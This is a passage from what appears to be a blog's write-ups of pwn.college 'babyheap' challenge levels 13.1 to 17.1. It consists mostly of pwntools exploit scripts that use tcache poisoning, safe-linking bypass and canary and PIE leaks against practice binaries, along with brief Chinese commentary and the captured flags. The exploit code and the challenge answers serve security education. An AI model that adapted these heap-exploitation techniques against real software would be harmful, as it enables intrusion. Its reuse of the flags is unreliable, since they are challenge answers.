&lt;pre&gt;&lt;code&gt;#!/usr/bin/env python3

from pwn import (
    args,
    context,
    flat,
    process,
    raw_input,
    remote,
)


FILE = &quot;/challenge/babyheap_level13.1&quot;
HOST, PORT = &quot;localhost&quot;, 1337

context(log_level=&quot;debug&quot;, binary=FILE, terminal=&quot;kitty&quot;)

elf = context.binary


def malloc(idx, size):
    target.sendlineafter(b&quot;: &quot;, b&quot;malloc&quot;)
    target.sendlineafter(b&quot;Index: &quot;, str(idx).encode())
    target.sendlineafter(b&quot;Size: &quot;, str(size).encode())


def free(idx):
    target.sendlineafter(b&quot;: &quot;, b&quot;free&quot;)
    target.sendlineafter(b&quot;Index: &quot;, str(idx).encode())


def puts(idx):
    target.sendlineafter(b&quot;: &quot;, b&quot;puts&quot;)
    target.sendlineafter(b&quot;Index: &quot;, str(idx).encode())


def scanf(idx, data):
    target.sendlineafter(b&quot;: &quot;, b&quot;scanf&quot;)
    target.sendlineafter(b&quot;Index: &quot;, str(idx).encode())
    target.sendline(data)


def send_flag(secret):
    target.sendlineafter(b&quot;: &quot;, b&quot;send_flag&quot;)
    target.sendlineafter(b&quot;Secret: &quot;, str(secret).encode())


def stack_free():
    target.sendlineafter(b&quot;: &quot;, b&quot;stack_free&quot;)


def stack_scanf(data):
    target.sendlineafter(b&quot;: &quot;, b&quot;stack_scanf&quot;)
    target.sendline(data)


def quit():
    target.sendlineafter(b&quot;: &quot;, b&quot;quit&quot;)


def launch():
    global target
    if args.L:
        target = process(FILE)
    else:
        target = remote(HOST, PORT)


def main():
    launch()

    payload = flat(
        b&quot;A&quot; * 0x30,
        0,
        0x401,
    )

    stack_scanf(payload)
    stack_free()
    # raw_input(&quot;DEBUG&quot;)
    malloc(0, 0x3F0)

    payload = flat(
        b&quot;A&quot; * (0xB0),
    )
    raw_input(&quot;DEBUG&quot;)
    scanf(0, payload)

    send_flag(&quot;A&quot; * 0x10)

    target.interactive()


if __name__ == &quot;__main__&quot;:
    main()
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Flag&lt;/h2&gt;
&lt;p&gt;:spoiler[&lt;code&gt;pwn.college{AzMm2HpvBwKXfmMU3AoN5SEUd4H.0lN5MDL5cTNxgzW}&lt;/code&gt;]&lt;/p&gt;
&lt;h1&gt;Level 14.0&lt;/h1&gt;
&lt;h2&gt;Information&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Category: Pwn&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Leverage TCACHE exploits to obtain the flag.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Write-up&lt;/h2&gt;
&lt;p&gt;有啥不一样吗？？我之前也是这么做的……&lt;/p&gt;
&lt;h2&gt;Exploit&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/env python3

from pwn import (
    args,
    context,
    flat,
    process,
    raw_input,
    remote,
)


FILE = &quot;/challenge/babyheap_level14.0&quot;
HOST, PORT = &quot;localhost&quot;, 1337

context(log_level=&quot;debug&quot;, binary=FILE, terminal=&quot;kitty&quot;)

elf = context.binary


def malloc(idx, size):
    target.sendlineafter(b&quot;: &quot;, b&quot;malloc&quot;)
    target.sendlineafter(b&quot;Index: &quot;, str(idx).encode())
    target.sendlineafter(b&quot;Size: &quot;, str(size).encode())


def free(idx):
    target.sendlineafter(b&quot;: &quot;, b&quot;free&quot;)
    target.sendlineafter(b&quot;Index: &quot;, str(idx).encode())


def echo(idx, offset):
    target.sendlineafter(b&quot;: &quot;, b&quot;echo&quot;)
    target.sendlineafter(b&quot;Index: &quot;, str(idx).encode())
    target.sendlineafter(b&quot;Offset: &quot;, str(offset).encode())


def scanf(idx, data):
    target.sendlineafter(b&quot;: &quot;, b&quot;scanf&quot;)
    target.sendlineafter(b&quot;Index: &quot;, str(idx).encode())
    target.sendline(data)


def stack_free():
    target.sendlineafter(b&quot;: &quot;, b&quot;stack_free&quot;)


def stack_scanf(data):
    target.sendlineafter(b&quot;: &quot;, b&quot;stack_scanf&quot;)
    target.sendline(data)


def quit():
    target.sendlineafter(b&quot;: &quot;, b&quot;quit&quot;)


def launch():
    global target
    if args.L:
        target = process(FILE)
    else:
        target = remote(HOST, PORT)


def main():
    launch()

    payload = flat(
        b&quot;A&quot; * 0x30,
        0,
        0x401,
    )
    stack_scanf(payload)
    stack_free()

    malloc(0, 0x3F0)
    echo(0, 0x18)
    target.recvuntil(b&quot;Data: &quot;)
    pie = int.from_bytes(target.recvline().strip(), &quot;little&quot;) - 0x22DD
    win = pie + 0x1A22

    echo(0, 0x49)
    target.recvuntil(b&quot;Data: &quot;)
    canary = int.from_bytes(target.recvline().strip().rjust(0x8, b&quot;\x00&quot;), &quot;little&quot;)

    target.success(f&quot;pie: {hex(pie)}&quot;)
    target.success(f&quot;win: {hex(win)}&quot;)
    target.success(f&quot;canary: {hex(canary)}&quot;)

    payload = flat(
        b&quot;A&quot; * 0x48,
        canary,
        0,
        win,
    )
    raw_input(&quot;DEBUG&quot;)
    scanf(0, payload)
    quit()

    target.interactive()


if __name__ == &quot;__main__&quot;:
    main()
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Flag&lt;/h2&gt;
&lt;p&gt;:spoiler[&lt;code&gt;pwn.college{wQRsnVfxcvBTDBM8-XLGPXFLyGF.01N5MDL5cTNxgzW}&lt;/code&gt;]&lt;/p&gt;
&lt;h1&gt;Level 14.1&lt;/h1&gt;
&lt;h2&gt;Information&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Category: Pwn&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Leverage TCACHE exploits to obtain the flag.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Write-up&lt;/h2&gt;
&lt;p&gt;参见 &lt;a href=&quot;#level-140&quot;&gt;Level 14.0&lt;/a&gt;。&lt;/p&gt;
&lt;p&gt;:::important
Theres a &lt;a href=&quot;https://cdn.discordapp.com/attachments/750836456813101130/1293074901070118942/8mb.video-xK2-TmDcop4s.mp4?ex=68e5ef58&amp;amp;is=68e49dd8&amp;amp;hm=cec4f1c226f3911a933727a3d35ae974ce2491355f662a554d34fada240b9bed&amp;amp;&quot;&gt;golden meme&lt;/a&gt;, also, ask this man &lt;code&gt;isspace&lt;/code&gt;。
:::&lt;/p&gt;
&lt;p&gt;~&lt;em&gt;总结，热心群友们个个都是谜语大师，相信他们给出的 tips 绝对是正确，够用的 xD&lt;/em&gt;~&lt;/p&gt;
&lt;h2&gt;Exploit&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/env python3

from pwn import (
    args,
    context,
    flat,
    process,
    raw_input,
    remote,
)


FILE = &quot;/challenge/babyheap_level14.1&quot;
HOST, PORT = &quot;localhost&quot;, 1337

context(log_level=&quot;debug&quot;, binary=FILE, terminal=&quot;kitty&quot;)

elf = context.binary


def malloc(idx, size):
    target.sendlineafter(b&quot;: &quot;, b&quot;malloc&quot;)
    target.sendlineafter(b&quot;Index: &quot;, str(idx).encode())
    target.sendlineafter(b&quot;Size: &quot;, str(size).encode())


def free(idx):
    target.sendlineafter(b&quot;: &quot;, b&quot;free&quot;)
    target.sendlineafter(b&quot;Index: &quot;, str(idx).encode())


def echo(idx, offset):
    target.sendlineafter(b&quot;: &quot;, b&quot;echo&quot;)
    target.sendlineafter(b&quot;Index: &quot;, str(idx).encode())
    target.sendlineafter(b&quot;Offset: &quot;, str(offset).encode())


def scanf(idx, data):
    target.sendlineafter(b&quot;: &quot;, b&quot;scanf&quot;)
    target.sendlineafter(b&quot;Index: &quot;, str(idx).encode())
    target.sendline(data)


def stack_free():
    target.sendlineafter(b&quot;: &quot;, b&quot;stack_free&quot;)


def stack_scanf(data):
    target.sendlineafter(b&quot;: &quot;, b&quot;stack_scanf&quot;)
    target.sendline(data)


def quit():
    target.sendlineafter(b&quot;: &quot;, b&quot;quit&quot;)


def launch():
    global target
    if args.L:
        target = process(FILE)
    else:
        target = remote(HOST, PORT)


def main():
    launch()

    payload = flat(
        b&quot;A&quot; * 0x30,
        0,
        0x401,
    )
    stack_scanf(payload)
    stack_free()

    malloc(0, 0x3F0)
    echo(0, 0x18)
    target.recvuntil(b&quot;Data: &quot;)
    pie = int.from_bytes(target.recvline().strip(), &quot;little&quot;) - 0x1B8D
    win = pie + 0x1409 + 5

    echo(0, 0x49)
    target.recvuntil(b&quot;Data: &quot;)
    canary = int.from_bytes(target.recvline().strip().rjust(0x8, b&quot;\x00&quot;), &quot;little&quot;)

    target.success(f&quot;pie: {hex(pie)}&quot;)
    target.success(f&quot;win: {hex(win)}&quot;)
    target.success(f&quot;canary: {hex(canary)}&quot;)

    payload = flat(
        b&quot;A&quot; * 0x48,
        canary,
        0,
        win,
    )
    raw_input(&quot;DEBUG&quot;)
    scanf(0, payload)
    quit()

    target.interactive()


if __name__ == &quot;__main__&quot;:
    main()
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Flag&lt;/h2&gt;
&lt;p&gt;:spoiler[&lt;code&gt;pwn.college{89yuVXIylEt3d84DgpKZsDAT2ew.0FO5MDL5cTNxgzW}&lt;/code&gt;]&lt;/p&gt;
&lt;h1&gt;Level 15.0&lt;/h1&gt;
&lt;h2&gt;Information&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Category: Pwn&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Leverage TCACHE exploits to obtain the flag.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Write-up&lt;/h2&gt;
&lt;p&gt;UAF 被 ban 又怎样？照样拿捏。&lt;/p&gt;
&lt;h2&gt;Exploit&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/env python3

from pwn import (
    args,
    context,
    flat,
    p64,
    process,
    raw_input,
    remote,
)


FILE = &quot;/challenge/babyheap_level15.0&quot;
HOST, PORT = &quot;localhost&quot;, 1337

context(log_level=&quot;debug&quot;, binary=FILE, terminal=&quot;kitty&quot;)

elf = context.binary


def malloc(idx, size):
    target.sendlineafter(b&quot;: &quot;, b&quot;malloc&quot;)
    target.sendlineafter(b&quot;Index: &quot;, str(idx).encode())
    target.sendlineafter(b&quot;Size: &quot;, str(size).encode())


def free(idx):
    target.sendlineafter(b&quot;: &quot;, b&quot;free&quot;)
    target.sendlineafter(b&quot;Index: &quot;, str(idx).encode())


def echo(idx, offset):
    target.sendlineafter(b&quot;: &quot;, b&quot;echo&quot;)
    target.sendlineafter(b&quot;Index: &quot;, str(idx).encode())
    target.sendlineafter(b&quot;Offset: &quot;, str(offset).encode())


def read(idx, size):
    target.sendlineafter(b&quot;: &quot;, b&quot;read&quot;)
    target.sendlineafter(b&quot;Index: &quot;, str(idx).encode())
    target.sendlineafter(b&quot;Size: &quot;, str(size).encode())


def quit():
    target.sendlineafter(b&quot;: &quot;, b&quot;quit&quot;)


def launch():
    global target
    if args.L:
        target = process(FILE)
    else:
        target = remote(HOST, PORT)


def main():
    launch()

    malloc(0, 0)
    echo(0, 0x28)

    target.recvuntil(b&quot;Data: &quot;)
    stack = int.from_bytes(target.recvline().strip(), &quot;little&quot;)
    main_ret_addr = stack + 0x176

    echo(0, 0x50)
    target.recvuntil(&quot;Data: &quot;)
    pie = int.from_bytes(target.recvline().strip(), &quot;little&quot;) - 0x33F8
    win = pie + elf.sym[&quot;win&quot;]

    target.success(f&quot;stack: {hex(stack)}&quot;)
    target.success(f&quot;pie: {hex(pie)}&quot;)
    target.success(f&quot;win: {hex(win)}&quot;)

    malloc(0, 0)
    malloc(1, 0)
    malloc(2, 0)
    free(2)
    free(1)
    # raw_input(&quot;DEBUG&quot;)
    read(0, 0x1337)

    payload = flat(
        b&quot;A&quot; * 0x20,
        main_ret_addr,
    )
    target.sendline(payload)

    malloc(0, 0)
    # raw_input(&quot;DEBUG&quot;)
    malloc(0, 0)

    read(0, 0x1337)
    target.sendline(p64(win))
    quit()

    target.interactive()


if __name__ == &quot;__main__&quot;:
    main()
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Flag&lt;/h2&gt;
&lt;p&gt;:spoiler[&lt;code&gt;pwn.college{QyYR-Pj8vuLZgMayMcB0QHW1DKk.0VO5MDL5cTNxgzW}&lt;/code&gt;]&lt;/p&gt;
&lt;h1&gt;Level 15.1&lt;/h1&gt;
&lt;h2&gt;Information&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Category: Pwn&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Leverage TCACHE exploits to obtain the flag.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Write-up&lt;/h2&gt;
&lt;p&gt;参见 &lt;a href=&quot;#level-150&quot;&gt;Level 15.0&lt;/a&gt;。&lt;/p&gt;
&lt;h2&gt;Exploit&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/env python3

from pwn import (
    args,
    context,
    flat,
    p64,
    process,
    raw_input,
    remote,
)


FILE = &quot;/challenge/babyheap_level15.1&quot;
HOST, PORT = &quot;localhost&quot;, 1337

context(log_level=&quot;debug&quot;, binary=FILE, terminal=&quot;kitty&quot;)

elf = context.binary


def malloc(idx, size):
    target.sendlineafter(b&quot;: &quot;, b&quot;malloc&quot;)
    target.sendlineafter(b&quot;Index: &quot;, str(idx).encode())
    target.sendlineafter(b&quot;Size: &quot;, str(size).encode())


def free(idx):
    target.sendlineafter(b&quot;: &quot;, b&quot;free&quot;)
    target.sendlineafter(b&quot;Index: &quot;, str(idx).encode())


def echo(idx, offset):
    target.sendlineafter(b&quot;: &quot;, b&quot;echo&quot;)
    target.sendlineafter(b&quot;Index: &quot;, str(idx).encode())
    target.sendlineafter(b&quot;Offset: &quot;, str(offset).encode())


def read(idx, size):
    target.sendlineafter(b&quot;: &quot;, b&quot;read&quot;)
    target.sendlineafter(b&quot;Index: &quot;, str(idx).encode())
    target.sendlineafter(b&quot;Size: &quot;, str(size).encode())


def quit():
    target.sendlineafter(b&quot;: &quot;, b&quot;quit&quot;)


def launch():
    global target
    if args.L:
        target = process(FILE)
    else:
        target = remote(HOST, PORT)


def main():
    launch()

    malloc(0, 0)
    echo(0, 0x28)

    target.recvuntil(b&quot;Data: &quot;)
    stack = int.from_bytes(target.recvline().strip(), &quot;little&quot;)
    main_ret_addr = stack + 0x176

    raw_input(&quot;DEBUG&quot;)
    echo(0, 0x50)
    target.recvuntil(&quot;Data: &quot;)
    pie = int.from_bytes(target.recvline().strip(), &quot;little&quot;) - 0x2110
    win = pie + elf.sym[&quot;win&quot;]

    target.success(f&quot;stack: {hex(stack)}&quot;)
    target.success(f&quot;pie: {hex(pie)}&quot;)
    target.success(f&quot;win: {hex(win)}&quot;)

    malloc(0, 0)
    malloc(1, 0)
    malloc(2, 0)
    free(2)
    free(1)
    # raw_input(&quot;DEBUG&quot;)
    read(0, 0x1337)

    payload = flat(
        b&quot;A&quot; * 0x20,
        main_ret_addr,
    )
    target.sendline(payload)

    malloc(0, 0)
    # raw_input(&quot;DEBUG&quot;)
    malloc(0, 0)

    read(0, 0x1337)
    target.sendline(p64(win))
    quit()

    target.interactive()


if __name__ == &quot;__main__&quot;:
    main()
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Flag&lt;/h2&gt;
&lt;p&gt;:spoiler[&lt;code&gt;pwn.college{sqd-yJZ1_DJOrzpwErrz-Y_4Jw1.0FMwQDL5cTNxgzW}&lt;/code&gt;]&lt;/p&gt;
&lt;h1&gt;Level 16.0&lt;/h1&gt;
&lt;h2&gt;Information&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Category: Pwn&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Revisit a prior challenge, now with TCACHE safe-linking.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Write-up&lt;/h2&gt;
&lt;p&gt;Description 已经说的很清楚了，就是前面某个 challenge 的修订版，safe-linking 是 2.32 加入的，这个 chall 使用的是 2.35，但是区别不大，safe-linking 一直到现在最新的 2.42 都没怎么变过。&lt;/p&gt;
&lt;p&gt;没学过 safe-linking 的可以看我写的 &lt;a href=&quot;/posts/pwn-notes/pwn-trick-notes/#%E8%A7%A3%E9%93%BE%E4%B9%8B%E8%AF%97%E5%A0%86%E4%B8%8A%E5%92%92%E8%AF%AD%E7%9A%84%E9%80%86%E8%AF%B5&quot;&gt;解链之诗：堆上咒语的逆诵&lt;/a&gt;。&lt;/p&gt;
&lt;h2&gt;Exploit&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/env python3

from pwn import (
    args,
    context,
    flat,
    process,
    raw_input,
    remote,
)


FILE = &quot;/challenge/babyheap_level16.0&quot;
HOST, PORT = &quot;localhost&quot;, 1337

context(log_level=&quot;debug&quot;, binary=FILE, terminal=&quot;kitty&quot;)

elf = context.binary


def malloc(idx, size):
    target.sendlineafter(b&quot;: &quot;, b&quot;malloc&quot;)
    target.sendlineafter(b&quot;Index: &quot;, str(idx).encode())
    target.sendlineafter(b&quot;Size: &quot;, str(size).encode())


def free(idx):
    target.sendlineafter(b&quot;: &quot;, b&quot;free&quot;)
    target.sendlineafter(b&quot;Index: &quot;, str(idx).encode())


def puts(idx):
    target.sendlineafter(b&quot;: &quot;, b&quot;puts&quot;)
    target.sendlineafter(b&quot;Index: &quot;, str(idx).encode())


def scanf(idx, data):
    target.sendlineafter(b&quot;: &quot;, b&quot;scanf&quot;)
    target.sendlineafter(b&quot;Index: &quot;, str(idx).encode())
    target.sendline(data)


def send_flag(secret):
    target.sendlineafter(b&quot;: &quot;, b&quot;send_flag&quot;)
    target.sendlineafter(b&quot;Secret: &quot;, str(secret).encode())


def quit():
    target.sendlineafter(b&quot;: &quot;, b&quot;quit&quot;)


def mangle(pos, ptr, shifted=1):
    if shifted:
        return pos ^ ptr
    return (pos &amp;gt;&amp;gt; 12) ^ ptr


def demangle(pos, ptr, shifted=1):
    if shifted:
        return mangle(pos, ptr)
    return mangle(pos, ptr, 0)


def launch():
    global target
    if args.L:
        target = process(FILE)
    else:
        target = remote(HOST, PORT)


def main():
    launch()

    malloc(0, 0)
    malloc(1, 0)
    free(1)
    free(0)

    puts(0)
    target.recvuntil(b&quot;Data: &quot;)
    mangled = int.from_bytes(target.recvline().strip(), &quot;little&quot;)

    puts(1)
    target.recvuntil(b&quot;Data: &quot;)
    pos = int.from_bytes(target.recvline().strip(), &quot;little&quot;)
    heap = demangle(pos, mangled)

    secret = elf.bss() + 0x27B60
    secret_mangled_1 = mangle(pos, secret)
    secret_mangled_2 = mangle(pos, (secret - 0x8))

    target.success(f&quot;pos: {hex(pos)}&quot;)
    target.success(f&quot;mangled: {hex(mangled)}&quot;)
    target.success(f&quot;heap: {hex(heap)}&quot;)
    target.success(f&quot;secret: {hex(secret)}&quot;)
    target.success(f&quot;secret_mangled_1: {hex(secret_mangled_1)}&quot;)
    target.success(f&quot;secret_mangled_2: {hex(secret_mangled_2)}&quot;)

    scanf(0, flat(secret_mangled_1))
    malloc(0, 0)

    # the following malloc will be done 2 things:
    # 1/ zero out the last 8 bytes secret
    # 2/ let the first 8 bytes secret value to be the appropriate tcache bin&apos;s
    #    header
    malloc(0, 0)

    malloc(0, 0)
    # now the following free will use the value left on tcache bin header,
    # which is the secret value, to fill the fd
    free(0)
    puts(0)

    target.recvuntil(b&quot;Data: &quot;)
    secret_mangled = int.from_bytes(target.recv(8), &quot;little&quot;)
    secret_demangled = demangle(pos, secret_mangled)
    target.success(f&quot;secret_demangled: {hex(secret_demangled)}&quot;)

    secret = demangle(secret, secret_demangled, 0)
    target.success(f&quot;secret: {hex(secret)}&quot;)

    send_flag(flat(secret, 0).decode())
    quit()

    target.interactive()


if __name__ == &quot;__main__&quot;:
    main()
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Flag&lt;/h2&gt;
&lt;p&gt;:spoiler[&lt;code&gt;pwn.college{MWVB7nml1ki-wvzXebiEIEuESuU.dhDO0MDL5cTNxgzW}&lt;/code&gt;]&lt;/p&gt;
&lt;h1&gt;Level 16.1&lt;/h1&gt;
&lt;h2&gt;Information&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Category: Pwn&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Revisit a prior challenge, now with TCACHE safe-linking.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Write-up&lt;/h2&gt;
&lt;p&gt;参见 &lt;a href=&quot;#level-160&quot;&gt;Level 16.0&lt;/a&gt;。&lt;/p&gt;
&lt;h2&gt;Exploit&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/env python3

from pwn import (
    args,
    context,
    flat,
    process,
    raw_input,
    remote,
)


FILE = &quot;/challenge/babyheap_level16.1&quot;
HOST, PORT = &quot;localhost&quot;, 1337

context(log_level=&quot;debug&quot;, binary=FILE, terminal=&quot;kitty&quot;)

elf = context.binary


def malloc(idx, size):
    target.sendlineafter(b&quot;: &quot;, b&quot;malloc&quot;)
    target.sendlineafter(b&quot;Index: &quot;, str(idx).encode())
    target.sendlineafter(b&quot;Size: &quot;, str(size).encode())


def free(idx):
    target.sendlineafter(b&quot;: &quot;, b&quot;free&quot;)
    target.sendlineafter(b&quot;Index: &quot;, str(idx).encode())


def puts(idx):
    target.sendlineafter(b&quot;: &quot;, b&quot;puts&quot;)
    target.sendlineafter(b&quot;Index: &quot;, str(idx).encode())


def scanf(idx, data):
    target.sendlineafter(b&quot;: &quot;, b&quot;scanf&quot;)
    target.sendlineafter(b&quot;Index: &quot;, str(idx).encode())
    target.sendline(data)


def send_flag(secret):
    target.sendlineafter(b&quot;: &quot;, b&quot;send_flag&quot;)
    target.sendlineafter(b&quot;Secret: &quot;, str(secret).encode())


def quit():
    target.sendlineafter(b&quot;: &quot;, b&quot;quit&quot;)


def mangle(pos, ptr, shifted=1):
    if shifted:
        return pos ^ ptr
    return (pos &amp;gt;&amp;gt; 12) ^ ptr


def demangle(pos, ptr, shifted=1):
    if shifted:
        return mangle(pos, ptr)
    return mangle(pos, ptr, 0)


def launch():
    global target
    if args.L:
        target = process(FILE)
    else:
        target = remote(HOST, PORT)


def main():
    launch()

    malloc(0, 0)
    malloc(1, 0)
    free(1)
    free(0)

    puts(0)
    target.recvuntil(b&quot;Data: &quot;)
    mangled = int.from_bytes(target.recvline().strip(), &quot;little&quot;)

    puts(1)
    target.recvuntil(b&quot;Data: &quot;)
    pos = int.from_bytes(target.recvline().strip(), &quot;little&quot;)
    heap = demangle(pos, mangled)

    secret = elf.bss() + 0x1CE90
    secret_mangled_1 = mangle(pos, secret)
    secret_mangled_2 = mangle(pos, (secret - 0x8))

    target.success(f&quot;pos: {hex(pos)}&quot;)
    target.success(f&quot;mangled: {hex(mangled)}&quot;)
    target.success(f&quot;heap: {hex(heap)}&quot;)
    target.success(f&quot;secret: {hex(secret)}&quot;)
    target.success(f&quot;secret_mangled_1: {hex(secret_mangled_1)}&quot;)
    target.success(f&quot;secret_mangled_2: {hex(secret_mangled_2)}&quot;)

    scanf(0, flat(secret_mangled_1))
    malloc(0, 0)

    # the following malloc will be done 2 things:
    # 1/ zero out the last 8 bytes secret
    # 2/ let the first 8 bytes secret value to be the appropriate tcache bin&apos;s
    #    header
    malloc(0, 0)

    malloc(0, 0)
    # now the following free will use the value left on tcache bin header,
    # which is the secret value, to fill the fd
    free(0)
    puts(0)

    target.recvuntil(b&quot;Data: &quot;)
    secret_mangled = int.from_bytes(target.recv(8), &quot;little&quot;)
    secret_demangled = demangle(pos, secret_mangled)
    target.success(f&quot;secret_demangled: {hex(secret_demangled)}&quot;)

    secret = demangle(secret, secret_demangled, 0)
    target.success(f&quot;secret: {hex(secret)}&quot;)

    send_flag(flat(secret, 0).decode())
    quit()

    target.interactive()


if __name__ == &quot;__main__&quot;:
    main()
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Flag&lt;/h2&gt;
&lt;p&gt;:sopiler[&lt;code&gt;pwn.college{ktet0NEaj6TQuRma_FkmhYKm5rq.dlDO0MDL5cTNxgzW}&lt;/code&gt;]&lt;/p&gt;
&lt;h1&gt;Level 17.0&lt;/h1&gt;
&lt;h2&gt;Information&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Category: Pwn&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Revisit a prior challenge, now with TCACHE safe-linking.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Write-up&lt;/h2&gt;
&lt;p&gt;泄漏了代码段地址和栈地址，但是不能直接分配到返回地址，如果分配到 RBP 也不行，执行 &lt;code&gt;malloc_usable_size(ptr[n0xF_3])&lt;/code&gt; 的时候会把 canary 当作 size，然后 SIGSEGV，继续往前分配的话，就不得不泄漏 canary 了，但因为输入函数是 &lt;code&gt;scanf&lt;/code&gt;，所以泄漏 canary 好像也成为了不可能。&lt;/p&gt;
&lt;p&gt;不过我们不难发现，它泄漏的这个栈地址就是 &lt;code&gt;ptr[16]&lt;/code&gt; 的地址，那就很好办了，直接在里面写返回地址的栈地址，然后使用 scanf 对保持返回地址的那项进行写入。&lt;/p&gt;
&lt;h2&gt;Exploit&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/env python3

from pwn import (
    args,
    context,
    flat,
    process,
    raw_input,
    remote,
)


FILE = &quot;/challenge/babyheap_level17.0&quot;
HOST, PORT = &quot;localhost&quot;, 1337

context(log_level=&quot;debug&quot;, binary=FILE, terminal=&quot;kitty&quot;)

elf = context.binary


def malloc(idx, size):
    target.sendlineafter(b&quot;: &quot;, b&quot;malloc&quot;)
    target.sendlineafter(b&quot;Index: &quot;, str(idx).encode())
    target.sendlineafter(b&quot;Size: &quot;, str(size).encode())


def free(idx):
    target.sendlineafter(b&quot;: &quot;, b&quot;free&quot;)
    target.sendlineafter(b&quot;Index: &quot;, str(idx).encode())


def puts(idx):
    target.sendlineafter(b&quot;: &quot;, b&quot;puts&quot;)
    target.sendlineafter(b&quot;Index: &quot;, str(idx).encode())


def scanf(idx, data):
    target.sendlineafter(b&quot;: &quot;, b&quot;scanf&quot;)
    target.sendlineafter(b&quot;Index: &quot;, str(idx).encode())
    target.sendline(data)


def quit():
    target.sendlineafter(b&quot;: &quot;, b&quot;quit&quot;)


def mangle(pos, ptr, shifted=1):
    if shifted:
        return pos ^ ptr
    return (pos &amp;gt;&amp;gt; 12) ^ ptr


def demangle(pos, ptr, shifted=1):
    if shifted:
        return mangle(pos, ptr)
    return mangle(pos, ptr, 0)


def launch():
    global target
    if args.L:
        target = process(FILE)
    else:
        target = remote(HOST, PORT)


def main():
    launch()

    target.recvuntil(b&quot;[LEAK] The local stack address of your allocations is at: &quot;)
    stack = int(target.recvline().strip()[:-1], 16)
    ret = stack + 0x118

    target.recvuntil(b&quot;[LEAK] The address of main is at: &quot;)
    elf.address = int(target.recvline().strip()[:-1], 16) - 0x1B1B

    target.success(f&quot;stack: {hex(stack)}&quot;)
    target.success(f&quot;pie: {hex(elf.address)}&quot;)

    malloc(0, 0)
    malloc(1, 0)
    free(1)
    free(0)

    puts(1)
    target.recvuntil(b&quot;Data: &quot;)
    pos = int.from_bytes(target.recvline().strip(), &quot;little&quot;)

    puts(0)
    target.recvuntil(b&quot;Data: &quot;)
    mangled = int.from_bytes(target.recvline().strip(), &quot;little&quot;)
    heap = demangle(pos, mangled)

    target.success(f&quot;pos: {hex(pos)}&quot;)
    target.success(f&quot;mangled: {hex(mangled)}&quot;)
    target.success(f&quot;heap: {hex(heap)}&quot;)

    stack_mangled = mangle(pos, stack)
    scanf(0, flat(stack_mangled))

    raw_input(&quot;DEBUG&quot;)
    malloc(0, 0)
    malloc(0, 0)

    payload = flat(
        stack,
        ret,
    )
    scanf(0, payload)

    scanf(1, flat(elf.sym[&quot;win&quot;]))
    quit()

    target.interactive()


if __name__ == &quot;__main__&quot;:
    main()
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Flag&lt;/h2&gt;
&lt;p&gt;:spoiler[&lt;code&gt;pwn.college{wMAyk806GbwvQXzo8CWgpFdlih0.dBTO0MDL5cTNxgzW}&lt;/code&gt;]&lt;/p&gt;
&lt;h1&gt;Level 17.1&lt;/h1&gt;
&lt;h2&gt;Information&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Category: Pwn&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Revisit a prior challenge, now with TCACHE safe-linking.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Write-up&lt;/h2&gt;
&lt;p&gt;参见 &lt;a href=&quot;#level-170&quot;&gt;Level 17.0&lt;/a&gt;。&lt;/p&gt;
&lt;h2&gt;Exploit&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/env python3

from pwn import (
    args,
    context,
    flat,
    process,
    raw_input,
    remote,
)


FILE = &quot;/challenge/babyheap_level17.1&quot;
HOST, PORT = &quot;localhost&quot;, 1337

context(log_level=&quot;debug&quot;, binary=FILE, terminal=&quot;kitty&quot;)

elf = context.binary


def malloc(idx, size):
    target.sendlineafter(b&quot;: &quot;, b&quot;malloc&quot;)
